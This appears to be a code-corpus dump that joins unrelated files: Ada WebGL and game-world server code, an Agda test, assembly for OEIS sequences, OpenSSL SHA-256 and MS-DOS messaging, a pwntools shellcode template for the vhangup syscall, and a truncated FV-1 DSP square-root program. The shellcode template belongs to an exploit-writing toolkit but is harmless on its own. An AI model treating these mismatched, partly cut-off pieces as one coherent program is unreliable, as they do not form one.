-- void uniform3fv(WebGLUniformLocation? location, sequence<GLfloat> v);
-- void uniform3i(WebGLUniformLocation? location, GLint x, GLint y, GLint z);
-- void uniform3iv(WebGLUniformLocation? location, Int32Array v);
-- void uniform3iv(WebGLUniformLocation? location, sequence<long> v);
not overriding procedure Uniform_4f
(Self : not null access WebGL_Rendering_Context;
Location : WebAPI.WebGL.Uniform_Locations.WebGL_Uniform_Location_Access;
X : GLfloat;
Y : GLfloat;
Z : GLfloat;
W : GLfloat) is abstract
with Import => True,
Convention => JavaScript_Method,
Link_Name => "uniform4f";
not overriding procedure Uniform_4fv
(Self : not null access WebGL_Rendering_Context;
Location : WebAPI.WebGL.Uniform_Locations.WebGL_Uniform_Location_Access;
Value : GLfloat_Vector_4) is abstract
with Import => True,
Convention => JavaScript_Method,
Link_Name => "uniform4fv";
-- void uniform4fv(WebGLUniformLocation? location, sequence<GLfloat> v);
-- void uniform4i(WebGLUniformLocation? location, GLint x, GLint y, GLint z, GLint w);
-- void uniform4iv(WebGLUniformLocation? location, Int32Array v);
-- void uniform4iv(WebGLUniformLocation? location, sequence<long> v);
not overriding procedure Uniform_Matrix_2fv
(Self : not null access WebGL_Rendering_Context;
Location : WebAPI.WebGL.Uniform_Locations.WebGL_Uniform_Location_Access;
Transpose : Boolean;
Value : GLfloat_Matrix_2x2) is abstract
with Import => True,
Convention => JavaScript_Method,
Link_Name => "uniformMatrix2fv";
-- void uniformMatrix2fv(WebGLUniformLocation? location, GLboolean transpose,
-- sequence<GLfloat> value);
not overriding procedure Uniform_Matrix_3fv
(Self : not null access WebGL_Rendering_Context;
Location : WebAPI.WebGL.Uniform_Locations.WebGL_Uniform_Location_Access;
Transpose : Boolean;
Value : GLfloat_Matrix_3x3) is abstract
with Import => True,
Convention => JavaScript_Method,
Link_Name => "uniformMatrix3fv";
-- void uniformMatrix3fv(WebGLUniformLocation? location, GLboolean transpose,
-- sequence<GLfloat> value);
not overriding procedure Uniform_Matrix_4fv
(Self : not null access WebGL_Rendering_Context;
Location : WebAPI.WebGL.Uniform_Locations.WebGL_Uniform_Location_Access;
Transpose : Boolean;
Value : GLfloat_Matrix_4x4) is abstract
with Import => True,
Convention => JavaScript_Method,
Link_Name => "uniformMatrix4fv";
-- void uniformMatrix4fv(WebGLUniformLocation? location, GLboolean transpose,
-- sequence<GLfloat> value);
not overriding procedure Use_Program
(Self : not null access WebGL_Rendering_Context;
Program : access WebAPI.WebGL.Programs.WebGL_Program'Class) is abstract
with Import => True,
Convention => JavaScript_Method,
Link_Name => "useProgram";
not overriding procedure Validate_Program
(Self : not null access WebGL_Rendering_Context;
Program : access WebAPI.WebGL.Programs.WebGL_Program'Class) is abstract
with Import => True,
Convention => JavaScript_Method,
Link_Name => "validateProgram";
not overriding procedure Vertex_Attrib_1f
(Self : not null access WebGL_Rendering_Context;
Index : GLuint;
X : GLfloat) is abstract
with Import => True,
Convention => JavaScript_Method,
Link_Name => "vertexAttrib1f";
-- typedef (Float32Array or sequence<GLfloat>) VertexAttribFVSource;
-- void vertexAttrib1fv(GLuint indx, VertexAttribFVSource values);
not overriding procedure Vertex_Attrib_2f
(Self : not null access WebGL_Rendering_Context;
Index : GLuint;
X : GLfloat;
Y : GLfloat) is abstract
with Import => True,
Convention => JavaScript_Method,
Link_Name => "vertexAttrib2f";
not overriding procedure Vertex_Attrib_2fv
(Self : not null access WebGL_Rendering_Context;
Index : GLuint;
Value : GLfloat_Matrix_2x2) is abstract
with Import => True,
Convention => JavaScript_Method,
Link_Name => "vertexAttrib2fv";
not overriding procedure Vertex_Attrib_3f
(Self : not null access WebGL_Rendering_Context;
Index : GLuint;
X : GLfloat;
Y : GLfloat;
Z : GLfloat) is abstract
with Import => True,
Convention => JavaScript_Method,
Link_Name => "vertexAttrib3f";
not overriding procedure Vertex_Attrib_3fv
(Self : not null access WebGL_Rendering_Context;
Index : GLuint;
Value : GLfloat_Matrix_3x3) is abstract
with Import => True,
Convention => JavaScript_Method,
Link_Name => "vertexAttrib3fv";
not overriding procedure Vertex_Attrib_4f
(Self : not null access WebGL_Rendering_Context;
Index : GLuint;
X : GLfloat;
Y : GLfloat;
Z : GLfloat;
W : GLfloat) is abstract
with Import => True,
Convention => JavaScript_Method,
Link_Name => "vertexAttrib4f";
not overriding procedure Vertex_Attrib_4fv
(Self : not null access WebGL_Rendering_Context;
Index : GLuint;
Value : GLfloat_Matrix_4x4) is abstract
with Import => True,
Convention => JavaScript_Method,
Link_Name => "vertexAttrib4fv";
not overriding procedure Vertex_Attrib_Pointer
(Self : not null access WebGL_Rendering_Context;
Index : GLuint;
Size : GLint;
Data_Type : GLenum;
Normalized : Boolean;
Stride : GLsizei;
Offset : GLintptr) is abstract
with Import => True,
Convention => JavaScript_Method,
Link_Name => "vertexAttribPointer";
not overriding procedure Viewport
(Self : not null access WebGL_Rendering_Context;
X : GLint;
Y : GLint;
Width : GLsizei;
Height : GLsizei) is abstract
with Import => True,
Convention => JavaScript_Method,
Link_Name => "viewport";
end WebAPI.WebGL.Rendering_Contexts;
|
test/Fail/Issue2170-unify-subtyping.agda
|
shlevy/agda
| 1 |
17512
|
{-# OPTIONS --show-irrelevant --subtyping #-}
module Issue2170-unify-subtyping where
data _≡_ {A : Set} (x : A) : A → Set where
refl : x ≡ x
record Squash (A : Set) : Set where
constructor squash
field .unsquash : A
open Squash
record UnSquash (A : Set) (s : A → Squash A) : Set where
constructor inverse
field
inv : Squash A → A
prf : {a : A} → inv (s a) ≡ a
test : {A : Set} → Squash (UnSquash A squash)
test = squash (inverse (λ p@(squash x) → _) refl)
-- `refl` is checked at type `_15 A (squash a) ≡ a`
-- Before, Agda solved this as `_15 := λ A p → unsquash a`, which
-- makes use of the irrelevant projection `unsquash`.
-- However, this is not allowed unless `--irrelevant-projections`
-- is enabled.
|
programs/oeis/033/A033582.asm
|
karttu/loda
| 1 |
87844
|
; A033582: a(n) = 7*n^2.
; 0,7,28,63,112,175,252,343,448,567,700,847,1008,1183,1372,1575,1792,2023,2268,2527,2800,3087,3388,3703,4032,4375,4732,5103,5488,5887,6300,6727,7168,7623,8092,8575,9072,9583,10108,10647,11200,11767,12348,12943,13552,14175
mov $1,$0
pow $1,2
mul $1,7
|
pwnlib/shellcraft/templates/thumb/linux/vhangup.asm
|
zaratec/pwntools
| 5 |
21365
|
<filename>pwnlib/shellcraft/templates/thumb/linux/vhangup.asm
<%
from pwnlib.shellcraft.thumb.linux import syscall
%>
<%page args=""/>
<%docstring>
Invokes the syscall vhangup. See 'man 2 vhangup' for more information.
Arguments:
</%docstring>
${syscall('SYS_vhangup')}
|
libsrc/_DEVELOPMENT/math/float/math48/lm/c/sccz80/pow.asm
|
jpoikela/z88dk
| 640 |
8609
|
<gh_stars>100-1000
SECTION code_clib
SECTION code_fp_math48
PUBLIC pow
EXTERN cm48_sccz80_pow
defc pow = cm48_sccz80_pow
|
trunk/win/lib/openssl-1.0.1e/tmp32/sha256-586.asm
|
chundonglinlin/srs.win
| 9 |
13045
|
TITLE sha512-586.asm
IF @Version LT 800
ECHO MASM version 8.00 or later is strongly recommended.
ENDIF
.486
.MODEL FLAT
OPTION DOTNAME
IF @Version LT 800
.text$ SEGMENT PAGE 'CODE'
ELSE
.text$ SEGMENT ALIGN(64) 'CODE'
ENDIF
ALIGN 16
_sha256_block_data_order PROC PUBLIC
$L_sha256_block_data_order_begin::
push ebp
push ebx
push esi
push edi
mov esi,DWORD PTR 20[esp]
mov edi,DWORD PTR 24[esp]
mov eax,DWORD PTR 28[esp]
mov ebx,esp
call $L000pic_point
$L000pic_point:
pop ebp
lea ebp,DWORD PTR ($L001K256-$L000pic_point)[ebp]
sub esp,16
and esp,-64
shl eax,6
add eax,edi
mov DWORD PTR [esp],esi
mov DWORD PTR 4[esp],edi
mov DWORD PTR 8[esp],eax
mov DWORD PTR 12[esp],ebx
ALIGN 16
$L002loop:
mov eax,DWORD PTR [edi]
mov ebx,DWORD PTR 4[edi]
mov ecx,DWORD PTR 8[edi]
mov edx,DWORD PTR 12[edi]
bswap eax
bswap ebx
bswap ecx
bswap edx
push eax
push ebx
push ecx
push edx
mov eax,DWORD PTR 16[edi]
mov ebx,DWORD PTR 20[edi]
mov ecx,DWORD PTR 24[edi]
mov edx,DWORD PTR 28[edi]
bswap eax
bswap ebx
bswap ecx
bswap edx
push eax
push ebx
push ecx
push edx
mov eax,DWORD PTR 32[edi]
mov ebx,DWORD PTR 36[edi]
mov ecx,DWORD PTR 40[edi]
mov edx,DWORD PTR 44[edi]
bswap eax
bswap ebx
bswap ecx
bswap edx
push eax
push ebx
push ecx
push edx
mov eax,DWORD PTR 48[edi]
mov ebx,DWORD PTR 52[edi]
mov ecx,DWORD PTR 56[edi]
mov edx,DWORD PTR 60[edi]
bswap eax
bswap ebx
bswap ecx
bswap edx
push eax
push ebx
push ecx
push edx
add edi,64
sub esp,32
mov DWORD PTR 100[esp],edi
mov eax,DWORD PTR [esi]
mov ebx,DWORD PTR 4[esi]
mov ecx,DWORD PTR 8[esi]
mov edi,DWORD PTR 12[esi]
mov DWORD PTR 4[esp],ebx
mov DWORD PTR 8[esp],ecx
mov DWORD PTR 12[esp],edi
mov edx,DWORD PTR 16[esi]
mov ebx,DWORD PTR 20[esi]
mov ecx,DWORD PTR 24[esi]
mov edi,DWORD PTR 28[esi]
mov DWORD PTR 20[esp],ebx
mov DWORD PTR 24[esp],ecx
mov DWORD PTR 28[esp],edi
ALIGN 16
$L00300_15:
mov ebx,DWORD PTR 92[esp]
mov ecx,edx
ror ecx,14
mov esi,DWORD PTR 20[esp]
xor ecx,edx
ror ecx,5
xor ecx,edx
ror ecx,6
mov edi,DWORD PTR 24[esp]
add ebx,ecx
xor esi,edi
mov DWORD PTR 16[esp],edx
mov ecx,eax
and esi,edx
mov edx,DWORD PTR 12[esp]
xor esi,edi
mov edi,eax
add ebx,esi
ror ecx,9
add ebx,DWORD PTR 28[esp]
xor ecx,eax
ror ecx,11
mov esi,DWORD PTR 4[esp]
xor ecx,eax
ror ecx,2
add edx,ebx
mov edi,DWORD PTR 8[esp]
add ebx,ecx
mov DWORD PTR [esp],eax
mov ecx,eax
sub esp,4
or eax,esi
and ecx,esi
and eax,edi
mov esi,DWORD PTR [ebp]
or eax,ecx
add ebp,4
add eax,ebx
add edx,esi
add eax,esi
cmp esi,3248222580
jne $L00300_15
mov ebx,DWORD PTR 152[esp]
ALIGN 16
$L00416_63:
mov esi,ebx
mov ecx,DWORD PTR 100[esp]
ror esi,11
mov edi,ecx
xor esi,ebx
ror esi,7
shr ebx,3
ror edi,2
xor ebx,esi
xor edi,ecx
ror edi,17
shr ecx,10
add ebx,DWORD PTR 156[esp]
xor edi,ecx
add ebx,DWORD PTR 120[esp]
mov ecx,edx
add ebx,edi
ror ecx,14
mov esi,DWORD PTR 20[esp]
xor ecx,edx
ror ecx,5
mov DWORD PTR 92[esp],ebx
xor ecx,edx
ror ecx,6
mov edi,DWORD PTR 24[esp]
add ebx,ecx
xor esi,edi
mov DWORD PTR 16[esp],edx
mov ecx,eax
and esi,edx
mov edx,DWORD PTR 12[esp]
xor esi,edi
mov edi,eax
add ebx,esi
ror ecx,9
add ebx,DWORD PTR 28[esp]
xor ecx,eax
ror ecx,11
mov esi,DWORD PTR 4[esp]
xor ecx,eax
ror ecx,2
add edx,ebx
mov edi,DWORD PTR 8[esp]
add ebx,ecx
mov DWORD PTR [esp],eax
mov ecx,eax
sub esp,4
or eax,esi
and ecx,esi
and eax,edi
mov esi,DWORD PTR [ebp]
or eax,ecx
add ebp,4
add eax,ebx
mov ebx,DWORD PTR 152[esp]
add edx,esi
add eax,esi
cmp esi,3329325298
jne $L00416_63
mov esi,DWORD PTR 352[esp]
mov ebx,DWORD PTR 4[esp]
mov ecx,DWORD PTR 8[esp]
mov edi,DWORD PTR 12[esp]
add eax,DWORD PTR [esi]
add ebx,DWORD PTR 4[esi]
add ecx,DWORD PTR 8[esi]
add edi,DWORD PTR 12[esi]
mov DWORD PTR [esi],eax
mov DWORD PTR 4[esi],ebx
mov DWORD PTR 8[esi],ecx
mov DWORD PTR 12[esi],edi
mov eax,DWORD PTR 20[esp]
mov ebx,DWORD PTR 24[esp]
mov ecx,DWORD PTR 28[esp]
mov edi,DWORD PTR 356[esp]
add edx,DWORD PTR 16[esi]
add eax,DWORD PTR 20[esi]
add ebx,DWORD PTR 24[esi]
add ecx,DWORD PTR 28[esi]
mov DWORD PTR 16[esi],edx
mov DWORD PTR 20[esi],eax
mov DWORD PTR 24[esi],ebx
mov DWORD PTR 28[esi],ecx
add esp,352
sub ebp,256
cmp edi,DWORD PTR 8[esp]
jb $L002loop
mov esp,DWORD PTR 12[esp]
pop edi
pop esi
pop ebx
pop ebp
ret
ALIGN 64
$L001K256:
DD 1116352408,1899447441,3049323471,3921009573
DD 961987163,1508970993,2453635748,2870763221
DD 3624381080,310598401,607225278,1426881987
DD 1925078388,2162078206,2614888103,3248222580
DD 3835390401,4022224774,264347078,604807628
DD 770255983,1249150122,1555081692,1996064986
DD 2554220882,2821834349,2952996808,3210313671
DD 3336571891,3584528711,113926993,338241895
DD 666307205,773529912,1294757372,1396182291
DD 1695183700,1986661051,2177026350,2456956037
DD 2730485921,2820302411,3259730800,3345764771
DD 3516065817,3600352804,4094571909,275423344
DD 430227734,506948616,659060556,883997877
DD 958139571,1322822218,1537002063,1747873779
DD 1955562222,2024104815,2227730452,2361852424
DD 2428436474,2756734187,3204031479,3329325298
_sha256_block_data_order ENDP
DB 83,72,65,50,53,54,32,98,108,111,99,107,32,116,114,97
DB 110,115,102,111,114,109,32,102,111,114,32,120,56,54,44,32
DB 67,82,89,80,84,79,71,65,77,83,32,98,121,32,60,97
DB 112,112,114,111,64,111,112,101,110,115,115,108,46,111,114,103
DB 62,0
.text$ ENDS
END
|
4-high/gel/source/world/gel-world-server.adb
|
charlie5/lace-alire
| 1 |
4975
|
<filename>4-high/gel/source/world/gel-world-server.adb<gh_stars>1-10
with
gel.Events,
physics.Forge,
openGL.Renderer.lean,
lace.Event.utility,
ada.Text_IO,
ada.unchecked_Deallocation;
package body gel.World.server
is
use gel.Sprite,
linear_Algebra_3D,
lace.Event.utility,
lace.Event;
procedure log (Message : in String)
renames ada.text_IO.put_Line;
pragma Unreferenced (log);
---------
--- Forge
--
procedure free (Self : in out View)
is
procedure deallocate is new ada.unchecked_Deallocation (Item'Class, View);
begin
deallocate (Self);
end free;
procedure define (Self : in out Item'Class; Name : in String;
Id : in world_Id;
space_Kind : in physics.space_Kind;
Renderer : access openGL.Renderer.lean.item'Class);
overriding
procedure destroy (Self : in out Item)
is
begin
physics.Space.free (Self.physics_Space);
lace.Subject_and_deferred_Observer.item (Self).destroy; -- Destroy base class.
lace.Subject_and_deferred_Observer.free (Self.local_Subject_and_deferred_Observer);
end destroy;
package body Forge
is
function to_World (Name : in String;
Id : in world_Id;
space_Kind : in physics.space_Kind;
Renderer : access openGL.Renderer.lean.item'Class) return gel.World.server.item
is
use lace.Subject_and_deferred_Observer.Forge;
begin
return Self : gel.World.server.item := (to_Subject_and_Observer (Name => Name & " world" & Id'Image)
with others => <>)
do
Self.define (Name, Id, space_Kind, Renderer);
end return;
end to_World;
function new_World (Name : in String;
Id : in world_Id;
space_Kind : in physics.space_Kind;
Renderer : access openGL.Renderer.lean.item'Class) return gel.World.server.view
is
use lace.Subject_and_deferred_Observer.Forge;
Self : constant gel.World.server.view
:= new gel.World.server.item' (to_Subject_and_Observer (name => Name & " world" & Id'Image)
with others => <>);
begin
Self.define (Name, Id, space_Kind, Renderer);
return Self;
end new_World;
end Forge;
function to_Sprite (the_Pair : in remote.World.sprite_model_Pair;
the_Models : in Id_Maps_of_Model .Map;
the_physics_Models : in Id_Maps_of_physics_Model.Map;
the_World : in gel.World.view) return gel.Sprite.view
is
the_graphics_Model : access openGL .Model.item'Class;
the_physics_Model : access physics.Model.item'Class;
the_Sprite : gel.Sprite.view;
use openGL;
begin
the_graphics_Model := openGL .Model.view (the_Models .Element (the_Pair.graphics_Model_Id));
the_physics_Model := physics.Model.view (the_physics_Models.Element (the_Pair. physics_Model_Id));
the_Sprite := gel.Sprite.forge.new_Sprite ("Sprite" & the_Pair.sprite_Id'Image,
sprite.World_view (the_World),
get_Translation (the_Pair.Transform),
the_graphics_Model,
the_physics_Model,
owns_Graphics => False,
owns_Physics => False,
is_Kinematic => the_Pair.Mass /= 0.0);
the_Sprite.Id_is (Now => the_Pair.sprite_Id);
the_Sprite.is_Visible (Now => the_Pair.is_Visible);
the_Sprite.Site_is (get_Translation (the_Pair.Transform));
the_Sprite.Spin_is (get_Rotation (the_Pair.Transform));
the_Sprite.desired_Dynamics_are (Site => the_Sprite.Site,
Spin => to_Quaternion (get_Rotation (the_Sprite.Transform)));
-- the_Sprite.desired_Site_is (the_Sprite.Site);
-- the_Sprite.desired_Spin_is (to_Quaternion (get_Rotation (the_Sprite.Transform)));
return the_Sprite;
end to_Sprite;
pragma Unreferenced (to_Sprite);
----------
--- Define
--
procedure define (Self : in out Item'Class; Name : in String;
Id : in world_Id;
space_Kind : in physics.space_Kind;
Renderer : access openGL.Renderer.lean.Item'Class)
is
use lace.Subject_and_deferred_Observer.Forge;
begin
Self.local_Subject_and_deferred_Observer := new_Subject_and_Observer (name => Name & " world" & Id'Image);
Self.Id := Id;
Self.space_Kind := space_Kind;
Self.Renderer := Renderer;
Self.physics_Space := physics.Forge.new_Space (space_Kind);
end define;
--------------
--- Operations
--
overriding
procedure evolve (Self : in out Item)
is
begin
gel.World.item (Self).evolve; -- Evolve the base class.
-- Update dynamics in client worlds.
--
declare
use id_Maps_of_sprite,
remote.World;
all_Sprites : constant id_Maps_of_sprite.Map := Self.all_Sprites.fetch;
Cursor : id_Maps_of_sprite.Cursor := all_Sprites.First;
the_Sprite : gel.Sprite.view;
is_a_mirrored_World : constant Boolean := not Self.Clients.Is_Empty;
mirror_Updates_are_due : constant Boolean := Self.Age >= Self.Age_at_last_Clients_update + client_update_Period;
updates_Count : Natural := 0;
the_motion_Updates : remote.World.motion_Updates (1 .. Integer (all_Sprites.Length));
begin
if is_a_mirrored_World
and mirror_Updates_are_due
then
while has_Element (Cursor)
loop
the_Sprite := Sprite.view (Element (Cursor));
updates_Count := updates_Count + 1;
the_motion_Updates (updates_Count) := (Id => the_Sprite.Id,
Site => coarsen (the_Sprite.Site),
Spin => coarsen (to_Quaternion (the_Sprite.Spin)));
-- Spin => the_Sprite.Spin);
-- log (Image (Quaternion' (refined (the_motion_Updates (updates_Count).Spin))));
next (Cursor);
end loop;
-- Send updated sprite motions to all registered client worlds.
--
Self.Age_at_last_clients_update := Self.Age;
if updates_Count > 0
then
declare
use World.server.world_Vectors;
Cursor : world_Vectors.Cursor := Self.Clients.First;
the_Mirror : remote.World.view;
begin
while has_Element (Cursor)
loop
the_Mirror := Element (Cursor);
the_Mirror.motion_Updates_are (the_motion_Updates (1 .. updates_Count));
next (Cursor);
end loop;
end;
end if;
end if;
end;
end evolve;
overriding
function fetch (From : in sprite_Map) return id_Maps_of_sprite.Map
is
begin
return From.Map;
end fetch;
overriding
procedure add (To : in out sprite_Map; the_Sprite : in Sprite.view)
is
begin
To.Map.insert (the_Sprite.Id, the_Sprite);
end add;
overriding
procedure rid (From : in out sprite_Map; the_Sprite : in Sprite.view)
is
begin
From.Map.delete (the_Sprite.Id);
end rid;
overriding
function all_Sprites (Self : access Item) return access World.sprite_Map'Class
is
begin
return Self.all_Sprites'Access;
end all_Sprites;
-----------------------
--- Client Registration
--
overriding
procedure register (Self : access Item; the_Mirror : in remote.World.view;
Mirror_as_observer : in lace.Observer.view)
is
begin
Self.Clients.append (the_Mirror);
Self.register (Mirror_as_observer, to_Kind (remote.World. new_model_Event'Tag));
Self.register (Mirror_as_observer, to_Kind (gel.events. new_sprite_Event'Tag));
Self.register (Mirror_as_observer, to_Kind (gel.events.my_new_sprite_added_to_world_Event'Tag));
end register;
overriding
procedure deregister (Self : access Item; the_Mirror : in remote.World.view)
is
begin
Self.Clients.delete (Self.Clients.find_Index (the_Mirror));
end deregister;
end gel.World.server;
|
cmd/adddrv/_msgret.asm
|
minblock/msdos
| 0 |
10581
|
page 60,132 ;AN000;
name _msgret ;AN000;
title C to Message Retriever ;AN000;
;/*
; * Microsoft Confidential
; * Copyright (C) Microsoft Corporation 1991
; * All Rights Reserved.
; */
;------------------------------------------------------------------- ;AN000;
; ;AN000;
; MODULE: _msgret ;AN000;
; ;AN000;
; PURPOSE: Supplies an interface between C programs and ;AN000;
; the DOS message retriever ;AN000;
; ;AN000;
; CALLING FORMAT: ;AN000;
; sysloadmsg(&inregs,&outregs); ;AN000;
; sysgetmsg(&inregs,&outregs); ;AN000;
; sysdispmsg(&inregs,&outregs); ;AN000;
; ;AN000;
; ;AN000;
; DATE: 5-21-87 ;AN000;
; Modified: 6/18/87 ;AN000;
; ;AN000;
;------------------------------------------------------------------- ;AN000;
; ;AN000;
include version.inc
INCLUDE SYSMSG.INC ;PERMIT SYSTEM MESSAGE HANDLER DEFINITION ;AN000;
; ;AN000;
MSG_UTILNAME <ADDDRV> ;IDENTIFY THE COMPONENT ;AN000;
; ;AN000;
.8087 ;AN000;
_TEXT SEGMENT BYTE PUBLIC 'CODE' ;AN000;
_TEXT ENDS ;AN000;
_DATA SEGMENT WORD PUBLIC 'DATA' ;AN000;
_DATA ENDS ;AN000;
CONST SEGMENT WORD PUBLIC 'CONST' ;AN000;
CONST ENDS ;AN000;
_BSS SEGMENT WORD PUBLIC 'BSS' ;AN000;
_BSS ENDS ;AN000;
DGROUP GROUP CONST, _BSS, _DATA ;AN000;
ASSUME CS: _TEXT, DS: _TEXT, SS: DGROUP, ES: DGROUP ;AN000;
; ;AN000;
public _sysloadmsg ;AN000;
public _sysgetmsg ;AN000;
public _sysdispmsg ;AN000;
; ;AN000;
;------------------------------------------------------------------- ;AN000;
;------------------------------------------------------------------- ;AN000;
; ;AN000;
_DATA segment ;AN000;
.XLIST ;AN000;
.XCREF ;AN000;
; MSG_SERVICES <MSGDATA> ;DATA AREA FOR THE MESSAGE HANDLER ;AN000;
MSG_SERVICES <MSGDATA> ;DATA AREA FOR THE MESSAGE HANDLER ;AN000;
.LIST ;AN000;
.CREF ;AN000;
_DATA ends ;AN000;
; ;AN000;
; ;AN000;
_TEXT segment ;AN000;
; ;AN000;
;------------------------------------------------------------------- ;AN000;
; ;AN000;
;DEFAULT=CHECK DOS VERSION ;AN000;
;DEFAULT=NEARmsg ;AN000;
;DEFAULT=INPUTmsg ;AN000;
;DEFAULT=NUMmsg ;AN000;
;DEFAULT=NO TIMEmsg ;AN000;
;DEFAULT=NO DATEmsg ;AN000;
.XLIST ;AN000;
.XCREF ;AN000;
MSG_SERVICES <LOADmsg,GETmsg,DISPLAYmsg,CHARmsg,NUMmsg,INPUTmsg,FARmsg,TIMEmsg,DATEmsg> ;AN000;
MSG_SERVICES <ADDDRV.CLA,ADDDRV.CLB,ADDDRV.CL1,ADDDRV.CL2> ;MSG TEXT ;AN000;
.LIST ;AN000;
.CREF ;AN000;
; ;AN000;
;------------------------------------------------------------------- ;AN000;
_sysloadmsg proc near ;AN000;
push bp ; save user's base pointer ;AN000;
mov bp,sp ; set bp to current sp ;AN000;
push di ; save some registers ;AN000;
push si ;AN000;
; ;AN000;
; copy C inregs into proper registers ;AN000;
; ;AN000;
mov di,[bp+4] ; fix di (arg 0) ;AN000;
; ;AN000;
mov ax,[di+0ah] ; load di ;AN000;
push ax ; the di value from inregs is now on stack ;AN000;
; ;AN000;
mov ax,[di+00] ; get inregs.x.ax ;AN000;
mov bx,[di+02] ; get inregs.x.bx ;AN000;
mov cx,[di+04] ; get inregs.x.cx ;AN000;
mov dx,[di+06] ; get inregs.x.dx ;AN000;
mov si,[di+08] ; get inregs.x.si ;AN000;
pop di ; get inregs.x.di from stack ;AN000;
; ;AN000;
push bp ; save base pointer ;AN000;
; ;AN000;
;------------------------------------------------------------------- ;AN000;
call sysloadmsg ; call the message retriever ;AN000;
;------------------------------------------------------------------- ;AN000;
; ;AN000;
pop bp ; restore base pointer ;AN000;
push di ; the di value from call is now on stack ;AN000;
mov di,[bp+6] ; fix di (arg 1) ;AN000;
; ;AN000;
mov [di+00],ax ; load outregs.x.ax ;AN000;
mov [di+02],bx ; load outregs.x.bx ;AN000;
mov [di+04],cx ; load outregs.x.cx ;AN000;
mov [di+06],dx ; load outregs.x.dx ;AN000;
mov [di+08],si ; load outregs.x.si ;AN000;
; ;AN000;
lahf ; get flags into ax ;AN000;
mov al,ah ; move into low byte ;AN000;
mov [di+0ch],ax ; load outregs.x.cflag ;AN000;
; ;AN000;
pop ax ; get di from stack ;AN000;
mov [di+0ah],ax ; load outregs.x.di ;AN000;
; ;AN000;
pop si ; restore registers ;AN000;
pop di ;AN000;
mov sp,bp ; restore sp ;AN000;
pop bp ; restore user's bp ;AN000;
ret ;AN000;
_sysloadmsg endp ;AN000;
; ;AN000;
; ;AN000;
_sysgetmsg proc near ;AN000;
push bp ; save user's base pointer ;AN000;
mov bp,sp ; set bp to current sp ;AN000;
push di ; save some registers ;AN000;
push si ;AN000;
; ;AN000;
; copy C inregs into proper registers ;AN000;
; ;AN000;
mov di,[bp+4] ; fix di (arg 0) ;AN000;
; ;AN000;
mov ax,[di+0ah] ; load di ;AN000;
push ax ; the di value from inregs is now on stack ;AN000;
; ;AN000;
mov ax,[di+00] ; get inregs.x.ax ;AN000;
mov bx,[di+02] ; get inregs.x.bx ;AN000;
mov cx,[di+04] ; get inregs.x.cx ;AN000;
mov dx,[di+06] ; get inregs.x.dx ;AN000;
mov si,[di+08] ; get inregs.x.si ;AN000;
pop di ; get inregs.x.di from stack ;AN000;
; ;AN000;
push bp ; save base pointer ;AN000;
; ;AN000;
;------------------------------------------------------------------- ;AN000;
call sysgetmsg ; call the message retriever ;AN000;
;------------------------------------------------------------------- ;AN000;
; ;AN000;
pop bp ; restore base pointer ;AN000;
push di ; the di value from call is now on stack ;AN000;
mov di,[bp+6] ; fix di (arg 1) ;AN000;
; ;AN000;
mov [di+00],ax ; load outregs.x.ax ;AN000;
mov [di+02],bx ; load outregs.x.bx ;AN000;
mov [di+04],cx ; load outregs.x.cx ;AN000;
mov [di+06],dx ; load outregs.x.dx ;AN000;
mov [di+08],si ; load outregs.x.si ;AN000;
; ;AN000;
lahf ; get flags into ax ;AN000;
mov al,ah ; move into low byte ;AN000;
mov [di+0ch],ax ; load outregs.x.cflag ;AN000;
; ;AN000;
pop ax ; get di from stack ;AN000;
mov [di+0ah],ax ; load outregs.x.di ;AN000;
; ;AN000;
pop si ; restore registers ;AN000;
pop di ;AN000;
mov sp,bp ; restore sp ;AN000;
pop bp ; restore user's bp ;AN000;
ret ;AN000;
_sysgetmsg endp ;AN000;
; ;AN000;
; ;AN000;
_sysdispmsg proc near ;AN000;
push bp ; save user's base pointer ;AN000;
mov bp,sp ; set bp to current sp ;AN000;
push di ; save some registers ;AN000;
push si ;AN000;
; ;AN000;
; copy C inregs into proper registers ;AN000;
; ;AN000;
mov di,[bp+4] ; fix di (arg 0) ;AN000;
; ;AN000;
mov ax,[di+0ah] ; load di ;AN000;
push ax ; the di value from inregs is now on stack ;AN000;
; ;AN000;
mov ax,[di+00] ; get inregs.x.ax ;AN000;
mov bx,[di+02] ; get inregs.x.bx ;AN000;
mov cx,[di+04] ; get inregs.x.cx ;AN000;
mov dx,[di+06] ; get inregs.x.dx ;AN000;
mov si,[di+08] ; get inregs.x.si ;AN000;
pop di ; get inregs.x.di from stack ;AN000;
; ;AN000;
push bp ; save base pointer ;AN000;
; ;AN000;
;------------------------------------------------------------------- ;AN000;
call sysdispmsg ; call the message retriever ;AN000;
;------------------------------------------------------------------- ;AN000;
; ;AN000;
pop bp ; restore base pointer ;AN000;
push di ; the di value from call is now on stack ;AN000;
mov di,[bp+6] ; fix di (arg 1) ;AN000;
; ;AN000;
mov [di+00],ax ; load outregs.x.ax ;AN000;
mov [di+02],bx ; load outregs.x.bx ;AN000;
mov [di+04],cx ; load outregs.x.cx ;AN000;
mov [di+06],dx ; load outregs.x.dx ;AN000;
mov [di+08],si ; load outregs.x.si ;AN000;
; ;AN000;
lahf ; get flags into ax ;AN000;
mov al,ah ; move into low byte ;AN000;
mov [di+0ch],ax ; load outregs.x.cflag ;AN000;
; ;AN000;
pop ax ; get di from stack ;AN000;
mov [di+0ah],ax ; load outregs.x.di ;AN000;
; ;AN000;
pop si ; restore registers ;AN000;
pop di ;AN000;
mov sp,bp ; restore sp ;AN000;
pop bp ; restore user's bp ;AN000;
ret ;AN000;
_sysdispmsg endp ;AN000;
; ;AN000;
; ;AN000;
_TEXT ends ; end code segment ;AN000;
include msgdcl.inc
end ;AN000;
|
Bank_I/6_sqrt.asm
|
ndf-zz/fv1testing
| 0 |
1629
|
; FV-1 Testing
;
; Program: Square root
;
; Determine special case sqrt(x) using log:
;
; log(sqrt(x)) = 0.5 * log(x)
;
; Note: Since log performs abs(x), the negative signal is
; incorrect.
;
; POT0: Offset
; POT1: Level
;
; Prepare LFOs
skp RUN,main
wlds SIN0,100,32767
main: rdax POT0,-1.0 ; load pot0 inverted
sof -2.0,-1.0 ; flip and offset
wrax REG0,0.0 ; save DC offset
cho rdal,SIN0 ; load SIN LFO
mulx POT1 ; scale test signal
rdax REG0,1.0 ; add the offset
wrax DACL,1.0 ; write to left output
wrax REG0,1.0 ; save input signal
log 0.5,0.0 ; take 0.5*log(abs(x)), acc is now s4_6
exp 1.0,0.0 ; 2**..., acc is back to s_23
wrax REG1,0.0 ; save intermediate value
ldax REG0 ; fetch original value
skp NEG,negate
ldax REG1 ; fetch positive value
skp 0,output
negate: ldax REG1 ; fetch positive value
